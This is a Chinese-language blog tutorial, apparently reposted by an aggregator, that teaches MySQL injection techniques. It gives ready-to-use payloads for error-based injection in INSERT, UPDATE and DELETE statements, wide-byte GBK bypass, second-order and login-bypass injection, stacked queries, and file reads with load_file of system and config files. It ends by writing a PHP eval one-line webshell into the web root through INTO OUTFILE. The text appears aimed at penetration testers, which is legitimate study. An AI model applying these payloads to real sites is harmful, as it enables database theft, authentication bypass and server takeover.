Mysql特别注入篇
Posted zzh%100
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Mysql特别注入篇相关的知识,希望对你有一定的参考价值。
基于insert/update/delete的注入
一般处在于信息修改处(如注册,修改用户名密码等),可使用单引号进行注入尝试,含有注入漏洞处若开启了mysql显错函数则可看到错误页面
利用的条件:
需要注意的是,报错注入需要通过php中的mysql_error()
显示。
下面的例子:
$sql = mysql_query(\'select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)\');
$row = mysql_fetch_array($sql);
$strid = $row[\'id\'];
echo $strid;
这样在界面上是没有显示的,需要通过mysql_error()
显示。
$sql = mysql_query(\'select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)\');
if(!$sql) {
echo mysql_error();
}
$row = mysql_fetch_array($sql);
$strid = $row[\'id\'];
echo $strid;
只有加入了mysql_error()
才能够显示错误,所以来说报错注入还是具有一定的条件的。
显错模式下在insert、update、delete语句中人为构造语法错误,利用如下语句
insert into users(id,username,passowrd) values (2,\'\'inject here\'\',\'Olivia\');
insert into users(id,username,passowrd) values (3,""inject here"",\'Olivia\');
大家看到本来要填入username字段的地方,我们填入了\'injectio here\'
和"inject here"
两个字段来实现报错,一个单引号包含,一个是双引号包含,要根据实际的注入点灵活构造。
利用updatexml()获取语句
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
函数解释:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
payload: or updatexml(1,concat(0x7e,(version())),0) or
Insert注入报错: insert into users(id,username,passowrd) values(2,\'Olivia\' or updatexml(1,concat(0x7e,(version())),0) or \'\',\'Nervo\');
Update注入报错: update user set passowrd=\'Nicky\' or updatexml(1,concat(0x7e,(version())),0) or \'\' where id=2 and username=\'Nervo\';
Delete注入报错: delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or \'\';
注意可更换其中的注入语句来进行获取数据如:or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or
利用extractvalue()获取数据
extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payload:or extractvalue(1,concat(0x7e,database())) or
Insert注入报错:insert into users(id,username,password) values(2,\'Olivia\' or extractvalue(1,concat(0x7e,database())) or \'\',\'Nervo\');
Update注入报错:update users set passowrd=\'Nicky\' or extractvalue(1,concat(0x7e,database())) or \'\';
delete注入报错: delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or \'\';
同样的可将其中的database()函数替换为其他查询语句进行查询 如:
获取newdb数据库表名:insert into users(id,username,passowrd) values(2,\'Olivia\' or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1))) or \'\',\'Nervo\');
利用name_const()获取数据
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数,当用来产生一个结果集合时,NAME_CONST()促使该列使用给定名称。
Payload:or (select * from (select name_const(version(),1),name_const(version(),1))a) or
Insert注入报错:insert into users(id,username,passowrd) values(2,\'Olivia\' or (select * from (select name_const(version(),1),name_const(version(),1))a) or \'\',\'Nervo\');
Update注入报错:update users set passowrd=\'Nikcy\' or (select * from (select name_const(version(),1),name_const(version(),1))a) or \'\';
Delete注入报错:delete from users where id=1 or (select * from (select name_const(version(),1),name_const(version(),1))a) or \'\';
同理也可以使用查询语句进行数据查询进行,但在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息,但是在一些比较旧的高于5.0.12(高于5.0.12)的MYSQL版本中,可以进一步提取更多数据。
利用子查询注入
其原理与select查询时的显错注入一致。
Insert注入查询:insert into users(id,username,passowrd) values(1,\'Olivia\' or (select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x;
) or \'\',\'Nervo\');
delete注入查询:delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)
delete注入查询:delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)
同理提取数据获取newdb数据库表名:insert into users(id,username,passowrd) values(1,\'Olivia\' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)x from information_schema.character_sets group by x)a) or \'\',\'Nervo\');
更多的闭合变种
\'or (payload) or \'
\' and (payload) and \'
\' or (payload) and \'
\' or (payload) and \'=\'
\' * (payload) *\'
\' or (payload) and \'
"- (payload) -"
利用的
Mysql的宽字节注入
宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。
%DF’ :会被PHP当中的addslashes函数转义为“%DF\\\'” ,“\\”既URL里的“%5C”,那么也就是说,“%DF\'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
实例:(对于字符型的注入转义单引号使黑客不能闭合引号可防止sql注入,但对于数字型的注入点,在不需要引号的注入条件下对注入查询没有影响)
注入点:http://admin.com/index.php?id=1
提交 %bf’ 出现错误,由此可见存在宽字节注入。
http://admin.com/
index
.php?id=1%df\'
order
by
2%23
======>推出有两个字段数
将中间段换做注入语句即可。
1;攻击者在http请求中提交恶意输入;
2;恶意输入保存在数据库中;
3;攻击者提交第二次http请求;
4;为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;
5;如果攻击成功,在第二次请求响应中返回结果。
假设一个网站数据库中存在一个用户名为:“admin”,密码为:“123456”。攻击者注册用户名为:“admin\'-- ”,密码为:“123”;程序中的代码为:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String pwd=StringEscapeUtiles.escapeSql(request.getParameter("pwd"));
String sql1="insert into user(username,password) values ("name","pwd")";
程序在把输入数据存入数据库之前,对输入的数据中的单引号进行了转义来防止恶意输入对对数据库中数据带来的影响,避免了一阶注入带来的问题,但是在数据库中存入的用户名任然为:“admin\'-- ”。现在攻击者要更新密码,程序会首先判断用户是否存在,代码为:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String oldpwd=StringEscapeUtiles.escapeSql(request.getParameter("oldpwd"));
String newpwd=StringEscapeUtiles.escapeSql(request.getParameter("newpwd"));
String sql2 = "select * from user where username="name" and password="oldpwd"";
确认用户存在且密码正确时,应用程序执行更新密码语句:
sql3="update user set password="newpwd" where username="username"";
在数据库中执行语句为:
update user set password =“111111” where username=\'admin\'-- \'
在数据库语句这种“-- ”表示注释,因此“-- ”后面的语句不会执行;最终攻击者改变的不是“admin\'-- ”的密码,而是admin的密码,从而实现攻击。
登录框处的注入:
如一个系统是通过
SELECT * FROM accounts WHERE username=\'admin\' and password = \'password\'这种显式的SQL来进行登陆校验, 也就是执行这个SQL语句,如果数据库中存在用户名为admin, password为password的用户,就登陆成功,否则就登陆失败。 2. 系统没有对用户输入进行全面的过滤 3. 系统后台使用的是MYSQL数据库 4. 系统中存在一个user name为admin的用户 攻击原理: 利用MYSQL的注释功能,也就是"/*", mysql执行SQL脚本时,如果遇到/*标示符,就会把之以后的SQL当做注释而不会执行, 正常情况下用户在用户名框内输入"admin",在password框内输入"password", 后台执行的SQL语句就为 SELECT * FROM accounts WHERE username=\'admin\' and password = \'password\' 但是如果在用户名框内输入"admin\' AND 1=1 /*", 在密码框内输入任意字符串,那么后台执行的SQL就为 SELECT * FROM accounts WHERE username=\'admin\' AND 1=1 /* and password = \'aa\', 可以看到数据库实际执行的SQL为 SELECT * FROM accounts WHERE username=\'admin\' AND 1=1, 而/*后面的SQL就被当做注释而忽略掉了,登陆成功!
若有回显也可以使用的报错查询试试,输入:uname=1&passwd=1\') and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1))) #&submit=Submit
注意:登录框的地方很多时候都没有报错信息,那么怎么判断后台的sql拼凑方式呢? 目前我的办法是将这些比如1\' or \'1\'=\'1\' # ; 1" or "1"="1" # ;
1\') or \'1\'=\'1\' # ; 1")or "1"="1" # 等等做成一个字典,然后进行fuzz。
多语句注入:
注入原理
平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、 改, 其他语句也同理,所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就不受前面语句的限制可以为所欲为 了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。
使用条件
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行, 但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够 被使用,将可能对网站造成十分大的威胁。
例如下面的PHP页面调用sql语句时用的是mysqli_multi_query()函数,所以此时可以使用堆叠注入,如图:
https://upload-images.jianshu.io/upload_images/13183513-d84e4545b7a7c016.png?imageMogr2/auto-orient/strip|imageView2/2/w/558
此时我们尝试注入语句:\'; insert into users(id,username,password) value (66,\'acca\',\'bbc\')--+
,注入后发现数据库内新增一条数据
https://upload-images.jianshu.io/upload_images/13183513-f64f77959ece292a.png?imageMogr2/auto-orient/strip|imageView2/2/w/558
跨库查询:
跨库注入需要数据库的root权限才能进行
网站用户权限一般有两种情况:1、不同用户管理不同的网站数据库 2、 root用户管理所有网站数据库
这两种情况是由连接数据库时的用户决定的。
https://img-blog.csdn.net/20180623233138786?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2JhaWR1XzM3MTA4MzU4/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70
文件读写:
mysql数据库在渗透测试过程中能够使用的功能还是比较多的,出了读取数据之外,还可以进行读写(但前提是权限足够)。
读文件前提:
1、用户权限足够高,尽量具有root权限。
2、secure_file_priv不为NULL
load_file()
举例:select load_file(’/etc/hosts’)
上面的例子是有条件限制的:
1、必须有权限读取并且文件必须完全可读。
and (select count() from mysql.user)>0 /如果结果返回正常,说明具有读写权限./
and (select count() from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。
在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,
users就不能实现用load_file读取文件了。
注意:
在实际的注入中,我们有两个难点需要解决:
1、绝对物理路径。
2、构造有效的畸形语句。
在很多PHP程序中,当提交一个错误的查询时,如果display_errors=on,程序就会暴露web目录的绝对路径,只有知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。
into outfile()
1.
第一种直接将select内容导入到文件中:
Select version() into outfile “c:\\\\phpnow\\\\htdocs\\\\test.php”
此处将version()替换成一句话,<?php @eval($_post[“mima”])?>也即
2.
Select \'<?php @eval($_post[“mima”])?>\' into outfile “c:\\\\phpnow\\\\htdocs\\\\test.php”
直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
3.
select load_file(‘c:\\\\wamp\\\\bin\\\\mysql\\\\mysql5.6.17\\\\my.ini’)into outfile ‘c:\\\\wamp\\\\www\\\\test.php’
可以利用该语句将服务器当中的内容导出来,上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要看自己的理解。
注意:
关于mysql into outfile注射,要使用into outfile 把代码写到web目录取得webshell首先需要3大先天条件:
1、知道物理路径(into outfule ‘物理路径’), 这样才能写对目录。
2、能够使用union (需要mysql 3以上的版本)
3、对方没有对(’)进行过滤(因为outfile后面的(’’)不可以用其他函数代替转换)
后天条件需要二个:
1、就是mysql用户拥有file_priv权限(不然就不能写文件或读文件)
2、对web目录有写权限MS的系统就不说了,一般都会有权限的,但是*nix的系统,通常都是rwxr-xr-x,也就是
说组跟其他用户都没有权限写操作,所以,要满足这5大条件还是蛮高难度的。
以上是关于Mysql特别注入篇的主要内容,如果未能解决你的问题,请参考以下文章
Spring课程 Spring入门篇 2-2 Spring注入方式
带你开发一款给Apk中自动注入代码工具icodetools(开凿篇)
带你开发一款给Apk中自己主动注入代码工具icodetools(开凿篇)